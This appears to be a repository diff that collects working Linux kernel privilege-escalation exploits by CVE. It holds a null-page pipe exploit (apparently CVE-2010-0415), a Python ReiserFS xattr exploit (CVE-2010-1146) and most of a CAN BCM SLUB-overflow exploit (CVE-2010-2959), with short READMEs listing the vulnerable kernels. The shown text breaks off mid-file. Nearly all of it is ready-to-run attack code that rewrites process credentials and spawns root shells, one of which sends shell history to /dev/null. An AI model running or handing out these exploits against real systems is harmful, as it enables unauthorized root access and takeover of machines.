struct fasync_struct { // bleh! didn't change from 2.6.0 to 2.6.31
int magic;
int fa_fd;
struct fasync_struct *fa_next;
void *file; // struct file
};
// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
int suce;
int *fptr[6];
};
// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
struct __wait_queue_head wait;
char *base; // !!!!!
unsigned int len; // !!!
unsigned int start; // !!!
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
};
// from 2.6.11 to 2.6.16
struct pipe_buffer_2611_16 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
};
struct pipe_inode_info_2611_16 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
};
// from 2.6.17 to 2.6.19
struct pipe_buffer_2617_19 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
unsigned int tapz;
};
struct pipe_inode_info_2617_19 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
void *suce;
};
// from 2.6.20 to 2.6.22
struct pipe_buffer_2620_22 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
unsigned int tapz;
};
struct pipe_inode_info_2620_22 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
void *suce;
struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
};
// AND FINALY from 2.6.23 to 2.6.31 ... :))
struct pipe_buffer_2623_31 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
unsigned int tapz;
unsigned long tg;
};
struct pipe_inode_info_2623_31 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
void *suce;
struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
};
static pid_t uid;
static gid_t gid;
static int iz_kern2600_10;
unsigned long taskstruct[1024];
void gomu_gomu_nooooo_gatling_shell(void);
int get_kern_version(void);
void map_struct_at_null(void);
void get_cur_task_and_escalate_priv(void);
void* get_null_page(void);
void error(char *s);
int is_done(int new);
static inline void *get_4kstack_top()
{
void *stack;
__asm__ __volatile__ (
"movl $0xfffff000,%%eax ;"
"andl %%esp, %%eax ;"
"movl %%eax, %0 ;"
: "=r" (stack)
);
return stack;
}
static inline void *get_8kstack_top()
{
void *stack;
__asm__ __volatile__ (
"movl $0xffffe000,%%eax ;"
"andl %%esp, %%eax ;"
"movl %%eax, %0 ;"
: "=r" (stack)
);
return stack;
}
static inline void *get_current()
{
void *cur = *(void **)get_4kstack_top();
if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
return cur;
else
cur = *(void **)get_8kstack_top();
return cur;
}
void map_struct_at_null()
{
struct pipe_inode_info_2600_10 *pipe2600_10;
struct pipe_inode_info_2611_16 *pipe2611_16;
struct pipe_inode_info_2617_19 *pipe2617_19;
struct pipe_inode_info_2620_22 *pipe2620_22;
struct pipe_inode_info_2623_31 *pipe2623_31;
struct pipe_buf_operations luffy;
FILE *f;
unsigned int *sct_addr;
unsigned int sc_addr;
char dummy;
char sname[256], pipebuf[10];
int ret, i;
void *page;
page = get_null_page();
int version = get_kern_version();
luffy.suce = 1;
for(i = 0; i < 6; i++)
luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
// ok lets go ...
if(version >= 2600 && version <= 2610)
{
iz_kern2600_10 = 1;
/* we are going to ninja an obsolete syscall from teh sys_call_table: sys_olduname
* i don't bother to restore it after owning the kernel. implement it if u want :p
*/
// hehe as u see, his imperial majesty spender haz alwayz good trickz
f = fopen("/proc/kallsyms", "r");
if (f == NULL)
{
f = fopen("/proc/ksyms", "r");
if (f == NULL)
{
error("0hn000es. i cant open /proc/{kall,k}syms for looking after teh sys_call_table addr. maybe u should set it yourself!");
}
}
ret = 0;
while(ret != EOF)
{
ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
if (ret == 0)
{
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp("sys_call_table", sname))
{
printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
fclose(f);
}
}
if(f != NULL)
{
fclose(f);
error("0hn000es. i cant get sys_olduname addr. maybe u should set it yourself!");
}
sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
pipe2600_10->base = pipebuf;
pipe2600_10->len = 0;
pipe2600_10->start = 0;
pipe2600_10->writers = 1;
printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
}
else if(version >= 2611 && version <= 2616)
{
pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
pipe2611_16->writers = 1;
pipe2611_16->nrbufs = 1;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2611_16->bufs[i].ops = &luffy;
printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
}
else if(version >= 2617 && version <= 2619)
{
pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
pipe2617_19->readers = 1;
pipe2617_19->nrbufs = 1;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2617_19->bufs[i].ops = &luffy;
pipe2617_19->wait.next = &pipe2617_19->wait.next;
pipe2617_19->wait.spinlock = 1;
printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
}
else if(version >= 2620 && version <= 2622)
{
pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
pipe2620_22->readers = 1;
pipe2620_22->nrbufs = 1;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2620_22->bufs[i].ops = &luffy;
pipe2620_22->wait.next = &pipe2620_22->wait.next;
pipe2620_22->wait.spinlock = 1;
printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
}
else if(version >= 2623 && version <= 2631)
{
pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
pipe2623_31->readers = 0;
pipe2623_31->nrbufs = 0;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2623_31->bufs[i].ops = &luffy;
pipe2623_31->wait.next = &pipe2623_31->wait.next;
pipe2623_31->wait.spinlock = 1;
printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
}
else
error("errrr! exploit not developped for ur kernel!");
}
int get_kern_version(void) // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
{
struct utsname buf;
char second[2],third[3];
int version = 2000;
if(uname(&buf) < 0)
error("can't have ur k3rn3l version. this box isn't for today :P\n");
sprintf(second, "%c", buf.release[2]);
second[1] = 0;
version += atoi(second) * 100;
third[0] = buf.release[4];
if(buf.release[5] >= '0' || buf.release[5] <= '9')
{
third[1] = buf.release[5];
third[2] = 0;
version += atoi(third);
}
else
{
third[1] = 0;
version += third[0] - '0';
}
printf("\t\t+ Kernel version %i\n", version);
return version;
}
// from our g0dz spender & julien :] lullz
void* get_null_page(void)
{
void *page;
if ((personality(0xffffffff)) != PER_SVR4)
{
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
}
}
else
{
if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
{
free(page);
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
}
}
}
else
{
// may be we are lucky today ... :)
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
}
}
else
{
if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
{
free(page);
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
}
}
}
printf("\t\t+ Got null page\n");
return page;
}
void gomu_gomu_nooooo_gatling_shell(void) // sgrakkyu & twiz are el8 :))
{
char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
char *envp[] = { "TERM=linux", "PS1=blackbird\\$ ", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
execve("/bin/sh", argv, envp);
error("hheeeehhh! unable to spawn a sh");
}
int is_done(int new)
{
static int done = 0;
if (done == 1)
return (1);
done = new;
}
volatile int done = 0;
void get_cur_task_and_escalate_priv()
{
uint32_t i;
uint32_t *task = get_current();
uint32_t *cred = 0;
for(i=0; i<0x1000; i++)
{
if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
{
task[i] = 0;
task[i+1] = 0;
task[i+2] = 0;
task[i+3] = 0;
is_done(1);
return;
}
}
for (i = 0; i<1024; i++)
{
taskstruct[i] = task[i];
cred = (uint32_t *)task[i];
if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
cred++; /* Get ride of the cred's 'usage' field */
if (cred[0] == uid && cred[1] == gid
&& cred[2] == uid && cred[3] == gid
&& cred[4] == uid && cred[5] == gid
&& cred[6] == uid && cred[7] == gid)
{
/* Get root */
cred[0] = cred[2] = cred[4] = cred[6] = 0;
cred[1] = cred[3] = cred[5] = cred[7] = 0;
break;
}
}
}
is_done(1);
}
int main(int ac, char **av)
{
int fd[2];
int pid;
char tapz[4];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
map_struct_at_null();
//while (1)
{
pid = fork();
if (pid == -1)
{
perror("fork");
return (-1);
}
if (pid)
{
char path[1024];
/* I assume next opened fd will be 4 */
sprintf(path, "/proc/%d/fd/4", pid);
while (!is_done(0))
{
fd[0] = open(path, O_RDWR);
if (fd[0] != -1)
{
if(iz_kern2600_10)
{
memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
write(fd[0], tapz, 4);
}
close(fd[0]);
}
}
if(iz_kern2600_10)
{
syscall(__NR_olduname, NULL);
}
printf("\t\t+ Got root!\n");
gomu_gomu_nooooo_gatling_shell();
return (0);
}
while (!is_done(0))
{
if (pipe(fd) != -1)
{
close(fd[0]);
close(fd[1]);
}
}
}
}

View File

@ -0,0 +1,15 @@
# CVE-2010-0415
CVE-2010-0415
Vulnerability reference:
* [CVE-2010-0415](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0415)
## Kernels
```
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
```

111
2010/CVE-2010-1146/12130.py Normal file
View File

@ -0,0 +1,111 @@
#!/usr/bin/env python
'''
team-edward.py
Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
Jon Oberheide <jon@oberheide.org>
http://jon.oberheide.org
Information:
https://bugzilla.redhat.com/show_bug.cgi?id=568041
The kernel allows processes to access the internal ".reiserfs_priv"
directory at the top of a reiserfs filesystem which is used to store
xattrs. Permissions are not enforced in that tree, so unprivileged
users can view and potentially modify the xattrs on arbitrary files.
Usage:
$ python team-edward.py
[+] checking for reiserfs mount with user_xattr mount option
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs
[+] preparing shell in /tmp
[+] capturing pre-shell snapshot of private xattrs directory
[+] compiling shell in /tmp
[+] setting dummy xattr to get reiserfs object id
[+] capturing post-shell snapshot of private xattrs directory
[+] found 1 new object ids
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
[+] spawning setuid shell...
# id
uid=0(root) gid=0(root) groups=4(adm), ...
Notes:
Obviously requires a ReiserFS filesystem mounted with extended attributes.
Tested on Ubuntu Jaunty 9.10.
'''
import os, sys
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
def err(txt):
print '[-] error: %s' % txt
sys.exit(1)
def msg(txt):
print '[+] %s' % txt
def main():
msg('checking for reiserfs mount with user_xattr mount option')
f = open('/etc/fstab')
for line in f:
if 'reiserfs' in line and 'user_xattr' in line:
break
else:
err('failed to find a reiserfs mount with user_xattr')
f.close()
msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
if not os.path.exists('/.reiserfs_priv/xattrs'):
err('failed to locate private xattrs directory')
msg('preparing shell in /tmp')
f = open('/tmp/team-edward.c', 'w')
f.write(SHELL)
f.close()
msg('capturing pre-shell snapshot of private xattrs directory')
pre = set(os.listdir('/.reiserfs_priv/xattrs'))
msg('compiling shell in /tmp')
ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
if ret != 0:
err('error compiling shell, you need gcc')
msg('setting dummy xattr to get reiserfs object id')
os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
if ret != 0:
err('error setting xattr, you need setfattr')
msg('capturing post-shell snapshot of private xattrs directory')
post = set(os.listdir('/.reiserfs_priv/xattrs'))
objs = post.difference(pre)
msg('found %s new object ids' % len(objs))
for obj in objs:
msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
f.write(XATTR)
f.close()
msg('spawning setuid shell...')
os.system('/tmp/team-edward')
if __name__ == '__main__':
main()

View File

@ -0,0 +1,19 @@
# CVE-2010-1146
CVE-2010-1146
Vulnerability reference:
* [CVE-2010-1146](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1146)
* [exp-db](https://www.exploit-db.com/exploits/12130/)
## Kernels
```
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
```
## Usage
```
$ python team-edward.py
```

615
2010/CVE-2010-2959/14814.c Normal file
View File

@ -0,0 +1,615 @@
/*
* i-CAN-haz-MODHARDEN.c
*
* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
*
* Ben Hawkes discovered an integer overflow in the Controller Area Network
* (CAN) subsystem when setting up frame content and filtering certain
* messages. An attacker could send specially crafted CAN traffic to crash
* the system or gain root privileges.
*
* Usage:
*
* $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
* $ ./i-can-haz-modharden
* ...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* The allocation pattern of the CAN BCM module gives us some desirable
* properties for smashing the SLUB. We control the kmalloc with a 16-byte
* granularity allowing us to place our allocation in the SLUB cache of our
* choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for
* old-times sake). The allocation can also be made in its own discrete
* stage before the overwrite which allows us to be a bit more conservative
* in ensuring the proper layout of our SLUB cache.
*
* To exploit the vulnerability, we first create a BCM RX op with a crafted
* nframes to trigger the integer overflow during the kmalloc. On the second
* call to update the existing RX op, we bypass the E2BIG check since the
* stored nframes in the op is large, yet has an insufficiently sized
* allocation associated with it. We then have a controlled write into the
* adjacent shmid_kernel object in the 96-byte SLUB cache.
*
* However, while we control the length of the SLUB overwrite via a
* memcpy_fromiovec operation, there exists a memset operation that directly
* follows which zeros out last_frames, likely an adjacent allocation, with
* the same malformed length, effectively nullifying our shmid smash. To
* work around this, we take advantage of the fact that copy_from_user can
* perform partial writes on x86 and trigger an EFAULT by setting up a
* truncated memory mapping as the source for the memcpy_fromiovec operation,
* allowing us to smash the necessary amount of memory and then pop out and
* return early before the memset operation occurs.
*
* We then perform a dry-run and detect the shmid smash via an EIDRM errno
* from shmat() caused by an invalid ipc_perm sequence number. Once we're
* sure we have a shmid_kernel under our control we re-smash it with the
* malformed version and redirect control flow to our credential modifying
* calls mapped in user space.
*
* Distros: please use grsecurity's MODHARDEN or SELinux's module_request
* to restrict unprivileged loading of uncommon packet families. Allowing
* the loading of poorly-written PF modules just adds a non-trivial and
* unnecessary attack surface to the kernel.
*
* Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
* easily to other vulnerable kernels/distros. Careful, it could use some
* post-exploitation stability love as well.
*
* Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
* this exploit borrows code from.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#define SLUB "kmalloc-96"
#define ALLOCATION 96
#define FILLER 100
#ifndef PF_CAN
#define PF_CAN 29
#endif
#ifndef CAN_BCM
#define CAN_BCM 2
#endif
struct sockaddr_can {
sa_family_t can_family;
int can_ifindex;
union {
struct { uint32_t rx_id, tx_id; } tp;
} can_addr;
};
struct can_frame {
uint32_t can_id;
uint8_t can_dlc;
uint8_t data[8] __attribute__((aligned(8)));
};
struct bcm_msg_head {
uint32_t opcode;
uint32_t flags;
uint32_t count;
struct timeval ival1, ival2;
uint32_t can_id;
uint32_t nframes;
struct can_frame frames[0];
};
#define RX_SETUP 5
#define RX_DELETE 6
#define CFSIZ sizeof(struct can_frame)
#define MHSIZ sizeof(struct bcm_msg_head)
#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
} super_block;
struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
};
struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
} inode;
struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
} dentry;
struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
} op;
struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
} vfsmount;
struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
} file;
struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
};
struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
} shmid_kernel;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int
check_slabinfo(char *cache, int *active_out, int *total_out)
{
FILE *fp;
char name[64], slab[256];
int active, total, diff;
memset(slab, 0, sizeof(slab));
memset(name, 0, sizeof(name));
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
printf("[-] sorry, /proc/slabinfo is not available!");
exit(1);
}
fgets(slab, sizeof(slab) - 1, fp);
while (1) {
fgets(slab, sizeof(slab) - 1, fp);
sscanf(slab, "%s %u %u", name, &active, &total);
diff = total - active;
if (strcmp(name, cache) == 0) {
break;
}
}
fclose(fp);
if (active_out) {
*active_out = active;
}
if (total_out) {
*total_out = total;
}
return diff;
}
void
trigger(void)
{
int *shmids;
int i, ret, sock, cnt, base, smashed;
int diff, active, total, active_new, total_new;
int len, sock_len, mmap_len;
struct sockaddr_can addr;
struct bcm_msg_head *msg;
void *efault;
char *buf;
printf("[+] creating PF_CAN socket...\n");
sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (sock < 0) {
printf("[-] kernel lacks CAN packet family support\n");
exit(1);
}
printf("[+] connecting PF_CAN socket...\n");
memset(&addr, 0, sizeof(addr));
addr.can_family = PF_CAN;
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
if (sock < 0) {
printf("[-] could not connect CAN socket\n");
exit(1);
}
len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
msg = malloc(len);
memset(msg, 0, len);
msg->can_id = 2959;
msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
printf("[+] clearing out any active OPs via RX_DELETE...\n");
msg->opcode = RX_DELETE;
ret = send(sock, msg, len, 0);
printf("[+] removing any active user-owned shmids...\n");
system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");
printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");
diff = check_slabinfo(SLUB, &active, &total);
shmids = malloc(sizeof(int) * diff * 10);
cnt = diff * 10;
for (i = 0; i < cnt; ++i) {
diff = check_slabinfo(SLUB, &active, &total);
if (diff == 0) {
break;
}
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
base = i;
if (diff != 0) {
printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");
exit(1);
}
printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");
i = base;
cnt = i + FILLER;
for (; i < cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
msg->opcode = RX_SETUP;
ret = send(sock, msg, len, 0);
if (ret < 0) {
printf("[-] kernel rejected malformed CAN header\n");
exit(1);
}
i = base + FILLER;
cnt = i + FILLER;
for (; i < cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
msg = (struct bcm_msg_head *) efault;
memset(msg, 0, mmap_len);
msg->can_id = 2959;
msg->nframes = (ALLOCATION / 16) * 4;
msg->opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 && errno != EFAULT) {
printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
exit(1);
}
printf("[+] seeking out the smashed shmid_kernel...\n");
i = base;
cnt = i + FILLER + FILLER;
for (; i < cnt; ++i) {
ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
if (ret == -1 && errno == EIDRM) {
smashed = i;
break;
}
}
if (i == cnt) {
printf("[-] could not find smashed shmid, trying running the exploit again!\n");
exit(1);
}
printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);
printf("[+] re-smashing the shmid_kernel with exploit payload...\n");
shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;
buf = (char *) msg;
memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
msg->opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 && errno != EFAULT) {
printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
exit(1);
}
ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
printf("[+] launching root shell!\n");
execl("/bin/bash", "/bin/bash", NULL);
exit(0);
}
printf("[-] exploit failed! retry?\n");
}
void
setup(void)
{
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] symbol table not availabe, aborting!\n");
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] symbol table not availabe, aborting!\n");
}
printf("[+] setting up exploit payload...\n");
super_block.s_flags = 0;
inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1;
dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode;
op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code;
vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;
file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op;
shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = getuid();
shmid_kernel.shm_perm.gid = getgid();
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
}
int
